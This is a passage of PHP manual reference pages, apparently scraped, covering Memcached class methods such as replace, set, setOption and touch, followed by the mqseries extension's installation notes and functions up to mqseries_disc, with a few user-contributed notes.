The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key of the item to prepend the data to.

value

The string to prepend.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

See Also

  • Memcached::prepend() - Prepend data to an existing item
  • Memcached::append() - Append data to an existing item

User Contributed Notes

There are no user contributed notes for this page.


Close any open connections

  • « Memcached::prependByKey
  • Memcached::replace »
  • PHP Manual
  • Memcached
  • Close any open connections

Memcached::quit

(PECL memcached >= 2.0.0)

Memcached::quit — Close any open connections

Description

public bool Memcached::quit ( void )

Memcached::quit() closes any open connections to the memcache servers.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Replace the item under an existing key

  • « Memcached::quit
  • Memcached::replaceByKey »
  • PHP Manual
  • Memcached
  • Replace the item under an existing key

Memcached::replace

(PECL memcached >= 0.1.0)

Memcached::replace — Replace the item under an existing key

Description

public bool Memcached::replace ( string $key , mixed $value [, int $expiration ] )

Memcached::replace() is similar to Memcached::set(), but the operation fails if the key does not exist on the server.

Parameters

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

See Also

  • Memcached::replaceByKey() - Replace the item under an existing key on a specific server
  • Memcached::set() - Store an item
  • Memcached::add() - Add an item under a new key

User Contributed Notes

There are no user contributed notes for this page.


Replace the item under an existing key on a specific server

  • « Memcached::replace
  • Memcached::resetServerList »
  • PHP Manual
  • Memcached
  • Replace the item under an existing key on a specific server

Memcached::replaceByKey

(PECL memcached >= 0.1.0)

Memcached::replaceByKey — Replace the item under an existing key on a specific server

Description

public bool Memcached::replaceByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )

Memcached::replaceByKey() is functionally equivalent to Memcached::replace(), except that the free-form server_key can be used to map the key to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

See Also

  • Memcached::replace() - Replace the item under an existing key
  • Memcached::set() - Store an item
  • Memcached::add() - Add an item under a new key

User Contributed Notes

There are no user contributed notes for this page.


Clears all servers from the server list

  • « Memcached::replaceByKey
  • Memcached::set »
  • PHP Manual
  • Memcached
  • Clears all servers from the server list

Memcached::resetServerList

(PECL memcached >= 2.0.0)

Memcached::resetServerList — Clears all servers from the server list

Description

public bool Memcached::resetServerList ( void )

Memcached::resetserverlist() removes all memcache servers from the known server list, reseting it back to empty.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • Memcached::addServer() - Add a server to the server pool
  • Memcached::addServers() - Add multiple servers to the server pool

User Contributed Notes

There are no user contributed notes for this page.


Store an item

  • « Memcached::resetServerList
  • Memcached::setByKey »
  • PHP Manual
  • Memcached
  • Store an item

Memcached::set

(PECL memcached >= 0.1.0)

Memcached::set — Store an item

Description

public bool Memcached::set ( string $key , mixed $value [, int $expiration ] )

Memcached::set() stores the value on a memcache server under the specified key. The expiration parameter can be used to control when the value is considered expired.

The value can be any valid PHP type except for resources, because those cannot be represented in a serialized form. If the Memcached::OPT_COMPRESSION option is turned on, the serialized value will also be compressed before storage.

Parameters

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::set() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));
/* expire 'object' key in 5 minutes */
$m->set('object', new stdclass, time() + 300);

var_dump($m->get('int'));
var_dump($m->get('string'));
var_dump($m->get('array'));
var_dump($m->get('object'));
?>

The above example will output something similar to:

int(99)
string(15) "a simple string"
array(2) {
  [0]=>
  int(11)
  [1]=>
  int(12)
}
object(stdClass)#1 (0) {
}

See Also

  • Memcached::setByKey() - Store an item on a specific server
  • Memcached::add() - Add an item under a new key
  • Memcached::replace() - Replace the item under an existing key

User Contributed Notes

Anonymous 18-Mar-2014 12:22
00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
Matthew Minix 15-Nov-2013 01:59
Unlike Memcache, Memcached will not replace spaces in keys with underscores for you, and will instead send the key as provided which will cause an error that can result in keys and values being mismatched.  You can avoid this problem by removing/replacing spaces before storage or setting the option Memcached::OPT_BINARY_PROTOCOL to true.
miha at hribar dot info 16-Jul-2009 05:26
The method correctly returns false if you set the value to false. This means that in order to have proper fault checking mechanism in place you need to check the result code.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));      // boolean false
var_dump($Memcached->getResultCode()); // int 0 which is  Memcached::RES_SUCCESS
?>


Store an item on a specific server

  • « Memcached::set
  • Memcached::setMulti »
  • PHP Manual
  • Memcached
  • Store an item on a specific server

Memcached::setByKey

(PECL memcached >= 0.1.0)

Memcached::setByKey — Store an item on a specific server

Description

public bool Memcached::setByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )

Memcached::setByKey() is functionally equivalent to Memcached::set(), except that the free-form server_key can be used to map the key to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::setByKey() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* keep IP blocks on a certain server */
$m->setByKey('api-cache', 'block-ip:169.254.253.252', 1);
$m->setByKey('api-cache', 'block-ip:169.127.127.202', 1);
?>

See Also

  • Memcached::set() - Store an item

User Contributed Notes

There are no user contributed notes for this page.


Store multiple items

  • « Memcached::setByKey
  • Memcached::setMultiByKey »
  • PHP Manual
  • Memcached
  • Store multiple items

Memcached::setMulti

(PECL memcached >= 0.1.0)

Memcached::setMulti — Store multiple items

Description

public bool Memcached::setMulti ( array $items [, int $expiration ] )

Memcached::setMulti() is similar to Memcached::set(), but instead of a single key/value item, it works on multiple items specified in items. The expiration time applies to all the items at once.

Parameters

items

An array of key/value pairs to store on the server.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::setMulti() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
$m->setMulti($items, time() + 300);
?>

See Also

  • Memcached::setMultiByKey() - Store multiple items on a specific server
  • Memcached::set() - Store an item

User Contributed Notes

Nicolas 04-Apr-2013 01:51
This is what the previous comment (fake set multi):

https://github.com/php-memcached-dev/php-memcached/blob/master/php_memcached.c#L1219
jooonic at googlemail dot com 25-Aug-2010 10:10
Dont expect setmulti is faster then multiple SETs!
It doesn't use the setmulti lib function, it iterats over every key and send him alone.
I can't find any php implementation with setmulti support (needs support for memcached's binary protocol, remember php's "memcache"-extension only supports text-protocol).
Thats bad, not enought throughput to membase.
So i have to use redis instead, coz of its support for get/set multi.


Store multiple items on a specific server

  • « Memcached::setMulti
  • Memcached::setOption »
  • PHP Manual
  • Memcached
  • Store multiple items on a specific server

Memcached::setMultiByKey

(PECL memcached >= 0.1.0)

Memcached::setMultiByKey — Store multiple items on a specific server

Description

public bool Memcached::setMultiByKey ( string $server_key , array $items [, int $expiration ] )

Memcached::setMultiByKey() is functionally equivalent to Memcached::setMulti(), except that the free-form server_key can be used to map the keys from items to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

items

An array of key/value pairs to store on the server.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

See Also

  • Memcached::setMulti() - Store multiple items
  • Memcached::set() - Store an item

User Contributed Notes

There are no user contributed notes for this page.


Set a Memcached option

  • « Memcached::setMultiByKey
  • Memcached::setOptions »
  • PHP Manual
  • Memcached
  • Set a Memcached option

Memcached::setOption

(PECL memcached >= 0.1.0)

Memcached::setOption — Set a Memcached option

Description

public bool Memcached::setOption ( int $option , mixed $value )

This method sets the value of a Memcached option. Some options correspond to the ones defined by libmemcached, and some are specific to the extension. See Memcached Constants for more information.

The options listed below require values specified via constants.

  • Memcached::OPT_HASH requires Memcached::HASH_* values.

  • Memcached::OPT_DISTRIBUTION requires Memcached::DISTRIBUTION_* values.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting a Memcached option

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);
$m->setOption(Memcached::OPT_HASH, Memcached::HASH_MURMUR);
$m->setOption(Memcached::OPT_PREFIX_KEY, "widgets");
echo "Prefix key is now: ", $m->getOption(Memcached::OPT_PREFIX_KEY), "\n";
?>

The above example will output:

bool(true)
Prefix key is now: widgets

See Also

  • Memcached::getOption() - Retrieve a Memcached option value
  • Memcached::setOptions() - Set Memcached options
  • Memcached Constants

User Contributed Notes

Harry Fuecks 26-May-2010 10:25
Be warned that setting the option Memcached::OPT_DISTRIBUTION to Memcached::DISTRIBUTION_CONSISTENT can carry a significant performance hit so is best used with persistent connections. More details at http://github.com/andreiz/php-memcached/issues#issue/14


Set Memcached options

  • « Memcached::setOption
  • Memcached::setSaslAuthData »
  • PHP Manual
  • Memcached
  • Set Memcached options

Memcached::setOptions

(PECL memcached >= 2.0.0)

Memcached::setOptions — Set Memcached options

Description

public bool Memcached::setOptions ( array $options )

Memcached::setOptions() is a variation of the Memcached::setOption() that takes an array of options to be set.

Parameters

options

An associative array of options where the key is the option to set and the value is the new value for the option.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting Memcached options

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);

$m->setOptions(array(Memcached::OPT_HASH => Memcached::HASH_MURMUR, Memcached::OPT_PREFIX_KEY => "widgets"));

var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);
echo "Prefix key is now: ", $m->getOption(Memcached::OPT_PREFIX_KEY), "\n";
?>

The above example will output:

bool(true)
bool(false)
Prefix key is now: widgets

See Also

  • Memcached::getOption() - Retrieve a Memcached option value
  • Memcached::setOption() - Set a Memcached option
  • Memcached Constants

User Contributed Notes

There are no user contributed notes for this page.


Set the credentials to use for authentication

  • « Memcached::setOptions
  • Memcached::touch »
  • PHP Manual
  • Memcached
  • Set the credentials to use for authentication

Memcached::setSaslAuthData

(PECL memcached >= 2.0.0)

Memcached::setSaslAuthData — Set the credentials to use for authentication

Description

public void Memcached::setSaslAuthData ( string $username , string $password )

Memcached::setSaslAuthData() sets the username and password that should be used for SASL authentication with the memcache servers.

This method is only available when the memcached extension is built with SASL support. Please refer to Memcached setup for how to do this.

Parameters

username

The username to use for authentication.

password

The password to use for authentication.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Set a new expiration on an item

  • « Memcached::setSaslAuthData
  • Memcached::touchByKey »
  • PHP Manual
  • Memcached
  • Set a new expiration on an item

Memcached::touch

(PECL memcached >= 2.0.0)

Memcached::touch — Set a new expiration on an item

Description

public bool Memcached::touch ( string $key , int $expiration )

Memcached::touch() sets a new expiration value on the given key.

Parameters

key

The key under which to store the value.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

See Also

  • Memcached::touchByKey() - Set a new expiration on an item on a specific server

User Contributed Notes

Pramod Patil 12-Sep-2014 05:44
This is only supported when binary protocol is enabled.
$obj = new Memcached();
$obj->setOption(\Memcached::OPT_BINARY_PROTOCOL, true);


Set a new expiration on an item on a specific server

  • « Memcached::touch
  • MemcachedException »
  • PHP Manual
  • Memcached
  • Set a new expiration on an item on a specific server

Memcached::touchByKey

(PECL memcached >= 2.0.0)

Memcached::touchByKey — Set a new expiration on an item on a specific server

Description

public bool Memcached::touchByKey ( string $server_key , string $key , int $expiration )

Memcached::touchByKey() is functionally equivalent to Memcached::touch(), except that the free-form server_key can be used to map the key to a specific server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key under which to store the value.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

See Also

  • Memcached::touch() - Set a new expiration on an item

User Contributed Notes

There are no user contributed notes for this page.


The MemcachedException class

(PECL memcached >= 0.1.0)

Introduction

Class synopsis

MemcachedException extends RuntimeException {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


mqseries

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • mqseries Functions
    • mqseries_back — MQSeries MQBACK
    • mqseries_begin — MQseries MQBEGIN
    • mqseries_close — MQSeries MQCLOSE
    • mqseries_cmit — MQSeries MQCMIT
    • mqseries_conn — MQSeries MQCONN
    • mqseries_connx — MQSeries MQCONNX
    • mqseries_disc — MQSeries MQDISC
    • mqseries_get — MQSeries MQGET
    • mqseries_inq — MQSeries MQINQ
    • mqseries_open — MQSeries MQOPEN
    • mqseries_put1 — MQSeries MQPUT1
    • mqseries_put — MQSeries MQPUT
    • mqseries_set — MQSeries MQSET
    • mqseries_strerror — Returns the error message corresponding to a result code (MQRC).

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension aims to provide an interface for communicating with IBMs WebSphere MQ series Queue managers.

The interface mimics the C-API client interface of WebSphere MQ Series as close as possible. Using the same naming conventions and possibilities of the C-API. In order to understand the workings of this extension some level of understanding the C-API is required.

For MQ-options, MQ-structures, MQ-results etc. please read the WebSphere MQ Application Programming Guide and WebSphere MQ Application Programming Reference.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

A working IBM WebSphere MQ installation. If building the extension the SDK for IBM WebSphere MQ is also required.

Note: Be aware that when running against a IBM WebSphere MQ Client installation some methods are not available. This is not a problem of the extension but just the way the WebSphere MQ Client Interface works.

Installation requirements on non windows platforms

Build the extension and put it in the PHP extension directory.

Installation requirements on Windows

No additional requirements.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mqseries.

Note: The official name of this extension is mqseries.

There are two ways to connect to a queue manager. These depend on the way the extension is compiled and linked.

  • First one and also the default one is using the mqic libraries. Compiling and linking the extension against these IBM WebSphere MQSeries libraries allows the extension to connect to the Queue manager using the client interface. Remote connections are possible this way.

  • The other way is to compile and link against the mqm libraries. Using these libraries it is possible to make use of the transaction management of a queue manager.

Currently selecting the libraries to use is done by changing the config.m4 file.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

There are no extra configuration parameters.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a connection and object_handle resources.

The mqseries_conn() and mqseries_connx() define the connectionn handles.

The mqseries_open() defines the object handle.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

For each WebSphere MQ Constant there is a mqseries counterpart.

For definitions and usage see the WebSphere MQ Application Programming Guide and WebSphere MQ Application Programming Reference red books.

The name of the mqseries counterpart is made by appending the WebSphere MQ constant with MQSERIES_, for example the CompletionCode constants are:

mqseries constants
PHP Constant | MQ Constant
MQSERIES_MQCC_OK | MQCC_OK
MQSERIES_MQCC_WARNING | MQCC_WARNING
MQSERIES_MQCC_FAILED | MQCC_FAILED
MQSERIES_MQCC_UNKNOWN | MQCC_UNKNOWN

User Contributed Notes

There are no user contributed notes for this page.


mqseries Functions

Table of Contents

  • mqseries_back — MQSeries MQBACK
  • mqseries_begin — MQseries MQBEGIN
  • mqseries_close — MQSeries MQCLOSE
  • mqseries_cmit — MQSeries MQCMIT
  • mqseries_conn — MQSeries MQCONN
  • mqseries_connx — MQSeries MQCONNX
  • mqseries_disc — MQSeries MQDISC
  • mqseries_get — MQSeries MQGET
  • mqseries_inq — MQSeries MQINQ
  • mqseries_open — MQSeries MQOPEN
  • mqseries_put1 — MQSeries MQPUT1
  • mqseries_put — MQSeries MQPUT
  • mqseries_set — MQSeries MQSET
  • mqseries_strerror — Returns the error message corresponding to a result code (MQRC).

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQBACK

  • « mqseries Functions
  • mqseries_begin »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQBACK

mqseries_back

(PECL mqseries >= 0.10.0)

mqseries_back — MQSeries MQBACK

Description

void mqseries_back ( resource $hconn , resource &$compCode , resource &$reason )

The mqseries_back() (MQBACK) call indicates to the queue manager that all the message gets and puts that have occurred since the last syncpoint are to be backed out. Messages put as part of a unit of work are deleted; messages retrieved as part of a unit of work are reinstated on the queue.

Using mqseries_back() only works in conjunction with mqseries_begin() and only function when connecting directly to a Queueu manager. Not via the mqclient interface.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_back() example

<?php
    mqseries_back($conn, $comp_code, $reason);

    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

Notes

Note:

mqseries_back() will not function when using MQSeries Client to connect to a Queueu Manager.

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_begin() - MQseries MQBEGIN

User Contributed Notes

There are no user contributed notes for this page.


MQseries MQBEGIN

  • « mqseries_back
  • mqseries_close »
  • PHP Manual
  • mqseries Functions
  • MQseries MQBEGIN

mqseries_begin

(PECL mqseries >= 0.10.0)

mqseries_begin — MQseries MQBEGIN

Description

void mqseries_begin ( resource $hconn , array $beginOptions , resource &$compCode , resource &$reason )

The mqseries_begin() (MQBEGIN) call begins a unit of work that is coordinated by the queue manager, and that may involve external resource managers.

Using mqseries_begin() starts the unit of work. Either mqseries_back() or mqseries_cmit() ends the unit of work.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_begin() example

<?php
    $mqbo = array();
    mqseries_begin( $conn,
                    $mqbo,
                    $comp_code,
                    $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        /* reason code 2121 is a warning for more information see MQSeries reference manual.*/
        if ($reason !== 2121) {
            printf("CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        }
    }
?>

Notes

Note:

mqseries_begin() will not function when using MQSeries Client to connect to a Queueu Manager.

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_back() - MQSeries MQBACK
  • mqseries_cmit() - MQSeries MQCMIT

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCLOSE

  • « mqseries_begin
  • mqseries_cmit »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQCLOSE

mqseries_close

(PECL mqseries >= 0.10.0)

mqseries_close — MQSeries MQCLOSE

Description

void mqseries_close ( resource $hconn , resource $hobj , int $options , resource &$compCode , resource &$reason )

The mqseries_close() (MQCLOSE) call relinquishes access to an object, and is the inverse of the mqseries_open() (MQOPEN) call.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

options

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_close() example

<?php
    mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("close CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

See Also

  • mqseries_open() - MQSeries MQOPEN
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCMIT

  • « mqseries_close
  • mqseries_conn »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQCMIT

mqseries_cmit

(PECL mqseries >= 0.10.0)

mqseries_cmit — MQSeries MQCMIT

Description

void mqseries_cmit ( resource $hconn , resource &$compCode , resource &$reason )

The mqseries_cmit() (MQCMIT) call indicates to the queue manager that the application has reached a syncpoint, and that all of the message gets and puts that have occurred since the last syncpoint are to be made permanent. Messages put as part of a unit of work are made available to other applications; messages retrieved as part of a unit of work are deleted.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_cmit() example

<?php
    mqseries_cmit($conn, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("cmit CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

Notes

Note:

mqseries_back() will not function when using MQSeries Client to connect to a Queueu Manager.

See Also

  • mqseries_begin() - MQseries MQBEGIN
  • mqseries_back() - MQSeries MQBACK
  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCONN

  • « mqseries_cmit
  • mqseries_connx »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQCONN

mqseries_conn

(PECL mqseries >= 0.10.0)

mqseries_conn — MQSeries MQCONN

Description

void mqseries_conn ( string $qManagerName , resource &$hconn , resource &$compCode , resource &$reason )

The mqseries_conn() (MQCONN) call connects an application program to a queue manager. It provides a queue manager connection handle, which is used by the application on subsequent message queuing calls.

Parameters

qManagerName

Name of queue manager.

Name of the queue manager the application wishes to connect.

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_conn() example

<?php
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("conn CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }
?>

See Also

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQCONNX

  • « mqseries_conn
  • mqseries_disc »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQCONNX

mqseries_connx

(PECL mqseries >= 0.10.0)

mqseries_connx — MQSeries MQCONNX

Description

void mqseries_connx ( string $qManagerName , array &$connOptions , resource &$hconn , resource &$compCode , resource &$reason )

The mqseries_connx() (MQCONNX) call connects an application program to a queue manager. It provides a queue manager connection handle, which is used by the application on subsequent MQ calls.

Parameters

qManagerName

Name of queue manager.

Name of the queue manager the application wishes to connect.

connOps

Options that control the action of function

See also the MQCNO structure.

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_connx() example

<?php
    $mqcno = array(
        'Version' => MQSERIES_MQCNO_VERSION_2,
        'Options' => MQSERIES_MQCNO_STANDARD_BINDING,
        'MQCD' => array('ChannelName' => 'MQNX9420.CLIENT',
        'ConnectionName' => 'localhost',
        'TransportType' => MQSERIES_MQXPT_TCP)
    );

    mqseries_connx('MQNX9420', $mqcno, $conn, $comp_code,$reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("Connx CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }

?>

Example #2 mqseries_connx() example using SSL connection & OCSP Responder URL

<?php
    $mqcno = array(
        'Version' => 4, //MQCNO_VERSION_4
        'Options' => MQSERIES_MQCNO_STANDARD_BINDING,
        'MQCD' => array(
            'Version' => 7, //MQCD_VERSION_7
            'ConnectionName' => 'localhost',
            'TransportType' => MQSERIES_MQXPT_TCP,
            'ChannelName' => 'CONNECTIONCHANNEL',
            'SSLCipherSpec' => 'NULL_SHA'
        ),
        'MQSCO' => array(
            'KeyRepository' => '/var/mqm/qmgrs/QUEUEMGR/ssl/key', //Local path where the SSL key repository can be found
            'MQAIR' => array(
                'Version' => 2, //MQAIR_VERSION_2
                'AuthInfoType' => 2, //MQAIT_OCSP
                'OCSPResponderURL' => 'http://dummy.OCSP.responder'
            )
        )
    );

    mqseries_connx('QUEUEMGR', $mqcno, $conn, $comp_code,$reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("Connx CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }

?>

See Also

  • mqseries_disc() - MQSeries MQDISC

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQDISC

  • « mqseries_connx
  • mqseries_get »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQDISC

mqseries_disc

(PECL mqseries >= 0.10.0)

mqseries_disc — MQSeries MQDISC

Description

void mqseries_disc ( resource $hconn , resource &$compCode , resource &$reason )

The mqseries_disc() (MQDISC) call breaks the connection between the queue manager and the application program, and is the inverse of the mqseries_conn() (MQCONN) or mqseries_connx() (MQCONNX) call.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_disc() example

<?php
    mqseries_disc($conn, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("disc CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }
?>

See Also

  • mqseries_conn() - MQSeries MQCONN
